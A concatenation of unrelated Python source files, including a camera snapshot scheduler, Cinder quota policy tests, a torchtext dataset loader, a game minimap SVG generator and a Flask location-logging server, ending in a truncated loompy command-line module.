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#!/usr/bin/python # # The MIT License (MIT) # # Copyright (c) 2014 Corrado Ubezio # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. from camshotcfg import ConfigDataLoad from camgrab import imageCapture from camshotlog import logInit, logAppend from cloud import sync_with_cloud, check_and_reset_network_connection from shutdown import shutdown, suspend, hasPrivilegesToShutdown from daylight import DaylightRepeatingEvent from time import time, sleep from datetime import datetime from sys import argv, exit from os import makedirs, path # Globals DEFAULT_CONFIG_FILE = 'camshotcfg.json' APPLICATION_NAME = 'Camera Shot' MAIN_SCRIPT_NAME = 'camshot.py' # Configuration parameter defaults WORKING_DIR = '.' TIME_BEFORE_SHUTDOWN = 1 #minutes TIME_ELAPSED_BETWEEN_SHOTS = 5*60 #seconds TIME_DAYLIGHT_BEGIN = '0 8 * * 1-5' # cron like format: 08:00 from Monday to Friday TIME_DAYLIGHT_END = '30 18 * * 1-5' # cron like format: 18:30 from Monday to Friday SUSPEND_TO_MEMORY = False CAMERAS_LIST = [] class CamShotError(Exception): def __init__(self, emesg): self.emesg = emesg def __str__(self): return "{0}".format(self.emesg) def configUpdate(cfgFile): global TIME_ELAPSED_BETWEEN_SHOTS, TIME_DAYLIGHT_BEGIN, TIME_DAYLIGHT_END global WORKING_DIR, SUSPEND_TO_MEMORY, CAMERAS_LIST cfg = ConfigDataLoad(cfgFile) WORKING_DIR = cfg.data['camshot-datastore'] TIME_ELAPSED_BETWEEN_SHOTS = eval(cfg.data['camshot-schedule']['seconds-to-wait']) TIME_DAYLIGHT_BEGIN = cfg.data['camshot-schedule']['start-time'] TIME_DAYLIGHT_END = cfg.data['camshot-schedule']['end-time'] SUSPEND_TO_MEMORY = (cfg.data['camshot-schedule']['suspend'] == 'YES') CAMERAS_LIST = cfg.data['cameras-list'] def get_delay_between_shots(): wakeup_datetime = DaylightRepeatingEvent(TIME_ELAPSED_BETWEEN_SHOTS, TIME_DAYLIGHT_BEGIN, TIME_DAYLIGHT_END) now = datetime.now() next_datetime = wakeup_datetime.next_occurrence(now) logAppend('{0}: will resume at {1}'.format(MAIN_SCRIPT_NAME, next_datetime)) return int( (next_datetime-now).total_seconds() ) def grab(picturesBaseDir, cameraList): # Make the grabbed picture file path now = datetime.now() picturesDirName = '{0:s}/CAMSHOT_{1:%Y%m%d}'.format(picturesBaseDir, now) try: makedirs(picturesDirName) logAppend('%s: create directory %s' % (MAIN_SCRIPT_NAME, picturesDirName)) except OSError, e: if not path.isdir(picturesDirName): # If the directory doesn't already exist, there was an error on creation raise CamShotError("{0}: create directory {1} [OS errno {2}]: {3}".format(MAIN_SCRIPT_NAME, picturesDirName, e.errno, e.strerror)) # Grab a picture from cameras cameraIndex = 0 for camera in cameraList: pictureFileFullName = '{0:s}/CS{1:%Y%m%d%H%M}_{2:02d}.jpg'.format(picturesDirName, now, cameraIndex) logAppend('%s: grab in file %s' % (MAIN_SCRIPT_NAME, pictureFileFullName)) imageCaptureTries = 0 while imageCaptureTries < 3: if imageCapture(camera, pictureFileFullName): break; sleep(3) imageCaptureTries = imageCaptureTries + 1 if imageCaptureTries >= 3: logAppend('%s: grab picture error' % (MAIN_SCRIPT_NAME)) cameraIndex = cameraIndex + 1 def grabLoop(workingDir, cameraList, suspendToMemory): while True: tBegin = time() check_and_reset_network_connection() sync_with_cloud(120) # configUpdate(workingDir) grab(workingDir, cameraList) isResumedFromRTC = suspend(suspendToMemory, get_delay_between_shots() - (time()-tBegin)) if not isResumedFromRTC: return 1 return 0 def usage(): print '%s usage:' % (APPLICATION_NAME) print ' %s [configuration_file]' % (MAIN_SCRIPT_NAME) def main(argc, argv): global MAIN_SCRIPT_NAME MAIN_SCRIPT_NAME = path.basename(argv[0]) configurationFile = DEFAULT_CONFIG_FILE if argc > 2: usage() return 1 if argc == 2: configurationFile = argv[1] configUpdate(configurationFile) if SUSPEND_TO_MEMORY: if not hasPrivilegesToShutdown(): print '%s: You need to have root privileges to run this script!' % (MAIN_SCRIPT_NAME) return 1 logInit('{0}/{1}-log.txt'.format(WORKING_DIR, path.splitext(MAIN_SCRIPT_NAME)[0])) grabLoopExitStatus = 0 try: grabLoopExitStatus = grabLoop(WORKING_DIR, CAMERAS_LIST, SUSPEND_TO_MEMORY) except Exception as e: #catch ANY exception logAppend('{0}: unrecovable exception {1}'.format(MAIN_SCRIPT_NAME, e)) return 2 #severe error if grabLoopExitStatus == 1: logAppend('%s: stopped by the User' % (MAIN_SCRIPT_NAME)) return grabLoopExitStatus if __name__ == "__main__": ret = main(len(argv), argv) if ret is not None: if ret == 2 and SUSPEND_TO_MEMORY: logAppend('%s: system will shut down in %d minutes' % (MAIN_SCRIPT_NAME, TIME_BEFORE_SHUTDOWN)) shutdown(TIME_BEFORE_SHUTDOWN) exit(ret)
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# encoding=utf-8 import random from collections import namedtuple Point = namedtuple('Point', 'x y') DIRECTIONS = { 'N': Point(0, -1), 'E': Point(1, 0), 'S': Point(0, 1), 'W': Point(-1, 0), } class LightCycleBaseBot(object): def get_next_step(self, arena, x, y, direction): raise NotImplementedError('Should return one Direction.') class LightCycleRandomBot(LightCycleBaseBot): def get_next_step(self, arena, x, y, direction): possible_movements = [key for key, value in DIRECTIONS.items() if 0 <= x + value.x < arena.shape[0] and 0 <= y + value.y < arena.shape[1] and not arena[x + value.x, y + value.y]] #print possible_directions if direction in possible_movements: return direction else: return random.choice(possible_movements or DIRECTIONS.keys())
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""" This module allows to perform a specific extrinsic evaluation of files by a specified criteria. Antoine Orgerit - François Gréau - Lisa Fougeron La Rochelle Université - 2019-2020 """ import langid import json import copy import subprocess from os import listdir, remove from os.path import isfile, join from utils.daniel.evaluate import get_results, get_dic def print_TP_FP_FN_TN(tools_criterias_data): """ Outputs TP, FP, FN and TN results of the evaluated files. """ print("TOOLS\t\t|TP\t|FP\t|FN\t|TN") print("------------------------------------------------") for tool in tools_criterias_data: if len(tool) > 7: print(tool + "\t|", end="") else: print(tool + "\t\t|", end="") print(str(tools_criterias_data[tool][0]["TP"]) + "\t|" + str(tools_criterias_data[tool][0]["FP"]) + "\t|" + str(tools_criterias_data[tool][0]["FN"]) + "\t|" + str(tools_criterias_data[tool][0]["TN"])) print() def print_FRP(tools_criterias_data, default_header_key): """ Outputs F-score, Recall and Precision results of the evaluated files. """ print("TOOLS\t\t|\t\tAll\t\t", end="") add_spacing = [] for criteria in tools_criterias_data[default_header_key][2]: if len(criteria) >= 24: print("|" + criteria + "\t", end="") if len(criteria) >= 31: add_spacing.append(criteria) elif len(criteria) >= 16: print("|\t" + criteria + "\t", end="") elif len(criteria) >= 8: print("|\t" + criteria + "\t\t", end="") else: print("|\t\t" + criteria + "\t\t", end="") print() print("\t\t|\tF\tR\tP\t", end="") for criteria in tools_criterias_data[default_header_key][2]: print("|\tF\tR\tP\t", end="") if criteria in add_spacing: print("\t", end="") print() print("------------------------------------------------", end="") for criteria in tools_criterias_data[default_header_key][2]: print("--------------------------------", end="") if criteria in add_spacing: print("--------", end="") print() for tool in tools_criterias_data: if len(tool) > 7: print(tool + "\t", end="") else: print(tool + "\t\t", end="") print("|\t" + str(format(tools_criterias_data[tool][1]["F1-measure"], ".2f")) + "\t" + str(format(tools_criterias_data[tool][1]["Recall"], ".2f")) + "\t" + str(format(tools_criterias_data[tool][1]["Precision"], ".2f")) + "\t", end="") for criteria in tools_criterias_data[tool][2]: print("|\t" + str(format(tools_criterias_data[tool][2][criteria]["F1-measure"], ".2f")) + "\t" + str(format(tools_criterias_data[tool][2][criteria]["Recall"], ".2f")) + "\t" + str(format(tools_criterias_data[tool][2][criteria]["Precision"], ".2f")) + "\t", end="") if criteria in add_spacing: print("\t", end="") print() print() def detect_language(file_path): """ Allows to detect the language used in a file using the langid module. """ file = open(file_path, "r", encoding="utf8") language = langid.classify(file.read()) file.close() return language def delete_unused_files(clean_repository_json_path, files_to_evaluate): """ Allows to remove unused files in the JSON file at clean_repository_json_path path that are not present in the JSON object files_to_evaluate. """ clean_repository = json.load(open(clean_repository_json_path, "r", encoding="utf8")) for id in list(clean_repository): if not clean_repository[id]["path"] in files_to_evaluate: clean_repository.pop(id) return clean_repository def prepare_json(json_content, path): """ Allows to prepare a JSON object from the clean result json_content and specific tool files path. """ prepared_json = {} for id, infos in json_content.items(): new_infos = copy.copy(infos) new_infos["document_path"] = path + new_infos["path"] new_infos["language"] = new_infos["langue"] new_infos.pop("langue") prepared_json[id] = new_infos return prepared_json def process_corpus(): """ Allows to process the files present in eval.json using Daniel process_corpus.py file. """ out = subprocess.check_output(['python', '../utils/daniel/process_corpus.py', '-c ../../exo5/eval.json']) composed_out = out.decode('ascii').split("\r\n") composed_out = composed_out[len(composed_out) - 2].split("/") return composed_out[len(composed_out) - 1] def evaluate(processed_file, criteria_extraction): """ Allows to evaluate the result of the eval.json file with the gold.json reference file using Daniel evaluate.py file. """ gold = get_dic('./gold.json') eval = get_dic('./' + processed_file) return get_results(gold, eval, criteria_extraction) def perform_extrinsic_evaluation(clean_repository_path_and_json, source_repositories_name_and_path, criteria_extraction, print_header_key=None): """ Allows to perform an extrinsic evaluation from reference files path and json file clean_repository_path_and_json, files to evaluate linked to their generator tool source_repositories_name_and_path, using an extraction criteria criteria_extraction. """ global_data = {} for source_repository_name_and_path in source_repositories_name_and_path: files_to_evaluate = [f for f in listdir(source_repository_name_and_path[1]) if isfile(join(source_repository_name_and_path[1], f))] clean_repository = delete_unused_files(clean_repository_path_and_json[1], files_to_evaluate) gold_json = prepare_json(clean_repository, clean_repository_path_and_json[0]) eval_json = prepare_json(clean_repository, source_repository_name_and_path[1]) gold_file = open("./gold.json", "w") gold_file.write(json.dumps(gold_json)) gold_file.close() eval_file = open("./eval.json", "w") eval_file.write(json.dumps(eval_json)) eval_file.close() processed_file = process_corpus() global_data[source_repository_name_and_path[0]] = evaluate(processed_file, criteria_extraction) remove("./gold.json") remove("./eval.json") remove("./test.out") remove("./tmp") remove("./" + processed_file) print_TP_FP_FN_TN(global_data) if print_header_key != None: print_FRP(global_data, print_header_key) return global_data
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# Copyright 2021 Red Hat, Inc. # All Rights Reserved. # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import ddt from cinder.api.contrib import quotas from cinder.api import microversions as mv from cinder.policies import quotas as policy from cinder.tests.unit.api import fakes as fake_api from cinder.tests.unit.policies import base @ddt.ddt class QuotasPolicyTest(base.BasePolicyTest): authorized_users = [ 'legacy_admin', 'legacy_owner', 'system_admin', 'project_admin', 'project_member', 'project_reader', 'project_foo', ] unauthorized_users = [ 'system_member', 'system_reader', 'system_foo', 'other_project_member', 'other_project_reader', ] authorized_admins = [ 'legacy_admin', 'system_admin', 'project_admin', ] unauthorized_admins = [ 'legacy_owner', 'system_member', 'system_reader', 'system_foo', 'project_member', 'project_reader', 'project_foo', 'other_project_member', 'other_project_reader', ] unauthorized_exceptions = [] # Basic policy test is without enforcing scope (which cinder doesn't # yet support) and deprecated rules enabled. def setUp(self, enforce_scope=False, enforce_new_defaults=False, *args, **kwargs): super().setUp(enforce_scope, enforce_new_defaults, *args, **kwargs) self.controller = quotas.QuotaSetsController() self.api_path = '/v3/os-quota-sets' self.api_version = mv.BASE_VERSION @ddt.data(*base.all_users) def test_show_policy(self, user_id): rule_name = policy.SHOW_POLICY req = fake_api.HTTPRequest.blank(self.api_path, version=self.api_version) self.common_policy_check(user_id, self.authorized_users, self.unauthorized_users, self.unauthorized_exceptions, rule_name, self.controller.show, req, id=self.project_id) @ddt.data(*base.all_users) def test_update_policy(self, user_id): rule_name = policy.UPDATE_POLICY req = fake_api.HTTPRequest.blank(self.api_path, version=self.api_version) req.method = 'PUT' body = { "quota_set": { "groups": 11, "volumes": 5, "backups": 4 } } self.common_policy_check(user_id, self.authorized_admins, self.unauthorized_admins, self.unauthorized_exceptions, rule_name, self.controller.update, req, id=self.project_id, body=body) @ddt.data(*base.all_users) def test_delete_policy(self, user_id): rule_name = policy.DELETE_POLICY req = fake_api.HTTPRequest.blank(self.api_path, version=self.api_version) req.method = 'DELETE' self.common_policy_check(user_id, self.authorized_admins, self.unauthorized_admins, self.unauthorized_exceptions, rule_name, self.controller.delete, req, id=self.project_id) class QuotasPolicySecureRbacTest(QuotasPolicyTest): authorized_users = [ 'legacy_admin', 'system_admin', 'project_admin', 'project_member', 'project_reader', ] unauthorized_users = [ 'legacy_owner', 'system_member', 'system_foo', 'project_foo', 'other_project_member', 'other_project_reader', ] # NOTE(Xena): The authorized_admins and unauthorized_admins are the same # as the QuotasPolicyTest's. This is because in Xena the "admin only" # rules are the legacy RULE_ADMIN_API. This will change in Yoga, when # RULE_ADMIN_API will be deprecated in favor of the SYSTEM_ADMIN rule that # is scope based. def setUp(self, *args, **kwargs): # Test secure RBAC by disabling deprecated policy rules (scope # is still not enabled). super().setUp(enforce_scope=False, enforce_new_defaults=True, *args, **kwargs)
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import time, os from openpyxl import load_workbook from openpyxl import Workbook from .config import * class Excel(): """This is a class that saves data to an excel file.""" def loadFile(self, fileName): """load excel file""" self.wb = load_workbook(fileName) self.sheets = self.wb.get_sheet_names() def loadSheet(self, sheet): """load a sheet""" self.table = self.wb[sheet] self.rows = self.table.max_row self.cols = self.table.max_column def getValue(self, row, col): """get a value""" return self.table.cell(row, col).value def saveFile(self, data, fileName): """save data to an excel file.""" if fileName == "": print('file error') return False totalRow = len(data) if totalRow > 0: wb = Workbook() ws = wb.active for row in range(1, (totalRow + 1)): totalCol = len(data[(row - 1)]) if totalCol > 0: for col in range(1, (totalCol + 1)): cell = ws.cell(row = row, column = col) cell.value = data[(row - 1)][(col - 1)] else: print('col data error') break if totalCol > 0: wb.save(fileName) else: print('row data error') def appendFile(self, data, fileName, sheet = ''): """append data to an excel file.""" if fileName == "": print('file error') return False if os.path.exists(fileName): self.loadFile(fileName) if sheet == '': sheet = self.sheets[0] self.loadSheet(sheet) if self.rows > 0 and self.cols > 0: fileData = [] for row in range(1, self.rows + 1): rowData = [] for col in range(1, self.cols + 1): rowData.append(self.getValue(row, col)) fileData.append(rowData) fileData.extend(data) data = fileData self.saveFile(data, fileName)
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import numpy as np # TODO: Do advanced prediction based on profiling work. def predict_energy(total_epochs, epoch_energy_usages): avg_epoch_energy = np.mean(epoch_energy_usages) return total_epochs * avg_epoch_energy def predict_time(total_epochs, epoch_times): avg_epoch_time = np.mean(epoch_times) return total_epochs * avg_epoch_time
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from city_scrapers_core.constants import BOARD from city_scrapers_core.spiders import CityScrapersSpider from city_scrapers.mixins import DetAuthorityMixin class DetDowntownDevelopmentAuthoritySpider(DetAuthorityMixin, CityScrapersSpider): name = "det_downtown_development_authority" agency = "Detroit Downtown Development Authority" agency_url = "https://www.degc.org/dda/" title = "Board of Directors" tab_title = "DDA" classification = BOARD location = { "name": "DEGC, Guardian Building", "address": "500 Griswold St, Suite 2200, Detroit, MI 48226", } def _parse_title(self, meeting): link_text = " ".join([l["title"] for l in meeting["links"]]) if "committee" in link_text.lower(): return "{} Committee".format( link_text.upper().split(" COMMITTEE")[0] ).replace("DDA ", "") else: return "Board of Directors"
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from common.bert_args import BertArgs from sutime import SUTime from parsing.nltk_nlp_utils import NLTK_NLP from common import globals_args from common import hand_files parser_mode = globals_args.parser_mode wh_words_set = {"what", "which", "whom", "who", "when", "where", "why", "how", "how many", "how large", "how big"} bert_args = BertArgs(globals_args.root, globals_args.q_mode) nltk_nlp = NLTK_NLP(globals_args.argument_parser.ip_port) sutime = SUTime(jars=globals_args.argument_parser.sutime_jar_files, mark_time_ranges=True) unimportantwords = hand_files.read_set(globals_args.argument_parser.unimportantwords) unimportantphrases = hand_files.read_list(globals_args.argument_parser.unimportantphrases) stopwords_dict = hand_files.read_set(globals_args.argument_parser.stopwords_dir) ordinal_lines_dict = hand_files.read_ordinal_file(globals_args.argument_parser.ordinal_fengli) #2 {'second', '2ndis_equal_wh_word'} count_phrases = ['Count', 'How many', 'how many', 'the number of', 'the count of', 'the amount of', 'total number of', 'count'] count_ner_tags = ['count'] dayu_phrases = ['more', 'more than' ,'greater', 'higher', 'longer than', 'taller than'] #'over', dayu_dengyu_phrases = ['at least', 'not less than', 'or more'] # dengyu_phrases = ['equal', 'same'] xiaoyu_phrases = ['earlier', 'less than', 'smaller', 'less', 'no higher than', 'fewer', 'fewer than'] xiaoyu_dengyu_phrases = ['at most', 'maximum', 'or less', 'no larger than'] comparative_ner_tags = ['>', '>=', '<', '<='] argmin_phrases = ['smallest', 'least', 'weakest', 'minimum', 'minimal', 'youngest', 'closest', 'shortest', 'thinnest','tiniest','hollowest', 'narrowest','shallowest','simplest','latest','last','poorest','littlest'] argmax_phrases = ['largest', 'brightest', 'heaviest', 'most', 'most', 'maximum', 'maximal', 'ultimate', 'totally', 'hugest', 'longest', 'biggest', 'fattest', 'fastest', 'greatest', 'quickest', 'tallest', 'oldest', 'eldest', 'heaviest', 'farthest', 'furthest', 'richest', 'best'] arg_ner_tags = ['argmax', 'argmin']
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from torchtext.data.datasets_utils import ( _RawTextIterableDataset, _wrap_split_argument, _add_docstring_header, _download_extract_validate, _create_dataset_directory, _create_data_from_csv, ) import os import logging URL = 'https://drive.google.com/uc?export=download&id=0Bz8a_Dbh9QhbZVhsUnRWRDhETzA' MD5 = '57d28bd5d930e772930baddf36641c7c' NUM_LINES = { 'train': 3000000, 'test': 650000, } _PATH = 'amazon_review_full_csv.tar.gz' _EXTRACTED_FILES = { 'train': f'{os.sep}'.join(['amazon_review_full_csv', 'train.csv']), 'test': f'{os.sep}'.join(['amazon_review_full_csv', 'test.csv']), } _EXTRACTED_FILES_MD5 = { 'train': "31b268b09fd794e0ca5a1f59a0358677", 'test': "0f1e78ab60f625f2a30eab6810ef987c" } DATASET_NAME = "AmazonReviewFull" @_add_docstring_header(num_lines=NUM_LINES, num_classes=5) @_create_dataset_directory(dataset_name=DATASET_NAME) @_wrap_split_argument(('train', 'test')) def AmazonReviewFull(root, split): path = _download_extract_validate(root, URL, MD5, os.path.join(root, _PATH), os.path.join(root, _EXTRACTED_FILES[split]), _EXTRACTED_FILES_MD5[split], hash_type="md5") logging.info('Creating {} data'.format(split)) return _RawTextIterableDataset(DATASET_NAME, NUM_LINES[split], _create_data_from_csv(path))
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import os from threading import Thread from typing import List from aiExchangeMessages_pb2 import SimulationID def _handle_vehicle(sid: SimulationID, vid: str, requests: List[str]) -> None: vid_obj = VehicleID() vid_obj.vid = vid i = 0 while i < 10: i += 1 print(sid.sid + ": Test status: " + service.get_status(sid)) print(vid + ": Wait") sim_state = service.wait_for_simulator_request(sid, vid_obj) # wait() if sim_state is SimStateResponse.SimState.RUNNING: print(vid + ": Request data") request = DataRequest() request.request_ids.extend(requests) data = service.request_data(sid, vid_obj, request) # request() print(data) print(vid + ": Wait for control") control = Control() while not is_pressed("space"): # Wait for the user to trigger manual drive pass print(vid + ": Control") if is_pressed("s"): control.simCommand.command = Control.SimCommand.Command.SUCCEED elif is_pressed("f"): control.simCommand.command = Control.SimCommand.Command.FAIL elif is_pressed("c"): control.simCommand.command = Control.SimCommand.Command.CANCEL else: accelerate = 0 steer = 0 brake = 0 if is_pressed("up"): accelerate = 1 if is_pressed("down"): brake = 1 if is_pressed("right"): steer = steer + 1 if is_pressed("left"): steer = steer - 1 control.avCommand.accelerate = accelerate control.avCommand.steer = steer control.avCommand.brake = brake service.control(sid, vid_obj, control) # control() else: print(sid.sid + ": The simulation is not running anymore (State: " + SimStateResponse.SimState.Name(sim_state) + ").") print(sid.sid + ": Final result: " + service.get_result(sid)) break control = Control() control.simCommand.command = Control.SimCommand.Command.FAIL service.control(sid, vid_obj, control) if __name__ == "__main__": from AIExchangeService import get_service from aiExchangeMessages_pb2 import SimStateResponse, Control, SimulationID, VehicleID, DataRequest from keyboard import is_pressed service = get_service() # Send tests sids = service.run_tests("test", "test", "envs/criteriaA.dbc.xml", "envs/environmentA.dbe.xml") # Interact with a simulation if not sids: exit(1) sid = SimulationID() sid.sid = sids.sids[0] ego_requests = ["egoSpeed"] ego_vehicle = Thread(target=_handle_vehicle, args=(sid, "ego", ego_requests)) ego_vehicle.start() ego_vehicle.join()
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"""Generate SVG minimap.""" from aioify import wrap as aiowrap from subprocess import Popen, PIPE import math import xml.etree.ElementTree as ET from aocrecs.consts import PREDATOR_IDS, HERDABLE_IDS, HUNT_IDS, BOAR_IDS, FISH_IDS, FORAGE_ID, TC_IDS GOLD_COLOR = '#FFC700' STONE_COLOR = '#919191' FOOD_COLOR = '#A5C46C' RELIC_COLOR = '#FFFFFF' CONSTANT_COLORS = [GOLD_COLOR, STONE_COLOR, FOOD_COLOR, RELIC_COLOR] FOOD_IDS = PREDATOR_IDS + HERDABLE_IDS + HUNT_IDS + BOAR_IDS + FISH_IDS + [FORAGE_ID] GOLD_ID = 66 STONE_ID = 102 RELIC_ID = 285 OBJECT_MAPPING = [ ([GOLD_ID], GOLD_COLOR), ([STONE_ID], STONE_COLOR), (FOOD_IDS, FOOD_COLOR), ([RELIC_ID], RELIC_COLOR) ] NAMESPACE = 'http://www.w3.org/2000/svg' def make_pbm(data, dimension, multiplier): """Produce PBM file contents.""" pbm = 'P1\n{} {}\n'.format(dimension * multiplier, dimension * multiplier) for row in data: for _ in range(0, multiplier): for col in row: pbm += (col * multiplier) return str.encode(pbm) def new_canvas(dimension, value='0'): """Produce a blank canvas.""" return [[value] * dimension for _ in range(0, dimension)] def get_slope(tiles, dimension, i): """Compute tile slope. TODO: (literal) edge cases """ slope = 'level' elevation = tiles[i]['elevation'] se_tile = i + dimension + 1 sw_tile = i + dimension - 1 ne_tile = i - dimension + 1 nw_tile = i - dimension - 1 if se_tile < (dimension * dimension) and sw_tile < (dimension * dimension): se_elevation = tiles[se_tile]['elevation'] sw_elevation = tiles[sw_tile]['elevation'] ne_elevation = tiles[ne_tile]['elevation'] nw_elevation = tiles[nw_tile]['elevation'] if nw_elevation > elevation or ne_elevation > elevation: slope = 'up' if se_elevation > elevation or sw_elevation > elevation: slope = 'down' return slope def trace(layers, dimension, corners, squareness, scale): """Trace map layers.""" scale /= squareness scale /= dimension translate = math.sqrt(((dimension * squareness * scale)**2) * 2)/2.0 ET.register_namespace('', NAMESPACE) svg = ET.Element('svg', attrib={ 'viewBox': '0 0 {} {}'.format(translate * 2, translate), }) transform = ET.SubElement(svg, 'g', attrib={ 'transform': 'translate({}, {}) scale({}, {}) rotate(-45)'.format(0, translate/2, scale, scale/2) }) for color, canvas in layers.items(): canvas = layers[color] args = ['potrace', '-s', '-a', str(corners)] xml = ET.fromstring(Popen( args, stdout=PIPE, stdin=PIPE, stderr=PIPE ).communicate(input=make_pbm(canvas, dimension, squareness))[0].decode('ascii')) layer = xml.find('{' + NAMESPACE + '}g') layer.set('fill', color) for path in layer.findall('{' + NAMESPACE + '}path'): path.set('stroke', color) path.set('stroke-width', str(10)) transform.append(layer) return ET.tostring(svg, encoding='unicode') @aiowrap def generate_svg(tiles, dimension, terrain, objects, player_colors, corners=0, squareness=3, scale=1000): # pylint: disable=too-many-arguments """Generate map SVG.""" layers = {} from collections import defaultdict x = defaultdict(int) y = {} for i, tile in enumerate(tiles): color = terrain[tile['terrain_id']][get_slope(tiles, dimension, i)] x[tile['terrain_id']] += 1 y[tile['terrain_id']] = color if color not in layers: layers[color] = new_canvas(dimension) layers[color][tile['y']][tile['x']] = '1' #for t, c in x.items(): # print(t, c, y[t]) for color in list(player_colors.values()) + CONSTANT_COLORS: layers[color] = new_canvas(dimension) for obj in objects: if obj['player_number'] is not None and obj['class_id'] in [70, 80]: color = player_colors[obj['player_number']] layers[color][int(obj['y'])][int(obj['x'])] = '1' if obj['object_id'] in TC_IDS: for i in range(-1, 2): for j in range(-1, 2): layers[color][int(obj['y']) + i][int(obj['x']) + j] = '1' elif obj['object_id'] in [88, 793]: for i in range(-1, 2): layers[color][int(obj['y']) + i][int(obj['x'])] = '1' elif obj['object_id'] in [64, 789]: for i in range(-1, 2): layers[color][int(obj['y'])][int(obj['x']) + i] = '1' else: for object_ids, color in OBJECT_MAPPING: if obj['object_id'] in object_ids: layers[color][int(obj['y'])][int(obj['x'])] = '1' break return trace(layers, dimension, corners, squareness, scale)
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import scrapy from scrapy.item import Field class TitleItem(scrapy.Item): heading = Field() class LinkItem(scrapy.Item): article = Field()
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import os from datetime import datetime from flask import render_template, request, jsonify, send_from_directory, url_for from Application import app, db from Application.db_operations import update_researcher_timestamp, insert_location_point_in_db, \ insert_or_update_existing_researcher, get_all_researchers_from_db, get_entries_with_phone_id, \ get_filtered_entries_from_db, get_locations_for_phone_ids @app.errorhandler(404) def not_found(error): message = "Page not found: %s \n Reason: %s" % (request.path, error) app.logger.error(str(message)) return render_template('error.html', message=message), 404 @app.errorhandler(500) @app.errorhandler(502) def internal_error(error): db.session.rollback() message = "Internal server error: %s" % error app.logger.error(message) return render_template('error.html', message=message), 500 @app.errorhandler(Exception) def unhandled_exception(e): db.session.rollback() message = "Unhandled exception: %s" % e app.logger.error(message) return render_template('error.html', message=message), 500 @app.route('/content/current_version.apk', methods=['GET']) def get_apk(): return send_from_directory(os.path.join(app.root_path, 'static/resources'), 'app-working.apk', mimetype='application/vnd.android.package-archive') @app.route('/json/current_apk_version', methods=['GET']) def get_version(): text_file = open('static/resources/current_apk_version.txt') version = text_file.readline() apk_url = url_for('get_apk', _external=True) return jsonify(version=version, url=apk_url) @app.route('/', methods=['GET', 'POST']) def root(): researchers = get_all_researchers_from_db() return render_template('users.html', researchers=researchers) @app.route('/<device_id>', methods=['GET']) def show_device_locations(device_id): return render_template('index.html', device_id=device_id) @app.route('/<device_id>', methods=['POST']) def add_entry(device_id): lat = request.args.get('lat') lon = request.args.get('lon') timestamp = request.args.get('time') time = datetime.now().fromtimestamp(float(timestamp)) insert_location_point_in_db(device_id, lat, lon, time) update_researcher_timestamp(device_id, time) return render_template("empty.html"), 200 @app.route('/json/<device_id>', methods=['GET']) def get_entries(device_id): entries = get_entries_with_phone_id(device_id) return jsonify(result=entries) @app.route('/json/<device_id>/filtered', methods=['GET']) def get_filtered_entries(device_id): start_unix_time = request.args.get('start') end_unix_time = request.args.get('end') entries = get_filtered_entries_from_db(device_id, start_unix_time, end_unix_time) return jsonify(result=entries) @app.route('/<device_id>/register_full_name', methods=['GET', 'POST']) def register_researcher(device_id): name = request.args.get('name') surname = request.args.get('surname') insert_or_update_existing_researcher(device_id, name, surname) return render_template("empty.html"), 200 @app.route('/multiselect_users', methods=['POST']) def multiselect_users(): selected = request.form.getlist("check") print "Result: %s" % selected print "Selected researchers: %s" % len(selected) res = get_locations_for_phone_ids(selected) entries = jsonify(locations=res) return render_template("multiple_users.html", result=entries.data) if __name__ == '__main__': app.run()
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import tweepy import dog from postDog import postDog from config import data if __name__ == '__main__': auth = tweepy.OAuthHandler(data["OAUTH_HANDLER_1"], data["OAUTH_HANDLER_2"]) auth.set_access_token(data["API_KEY_1"], data["API_KEY_2"]) api = tweepy.API(auth) dogPic = dog.getDog(filename='assets/doggy') postDog(api)
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#!/usr/bin/env python # Copyright (c) 2016 Sten Linnarsson # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. from typing import * from mypy_extensions import NoReturn import sys import os import argparse import logging import warnings import loompy from ._version import __version__ from .loom_expand import LoomExpand from .loom_datasets import def_dataset_dir, LoomDatasets from .loom_server import start_server class 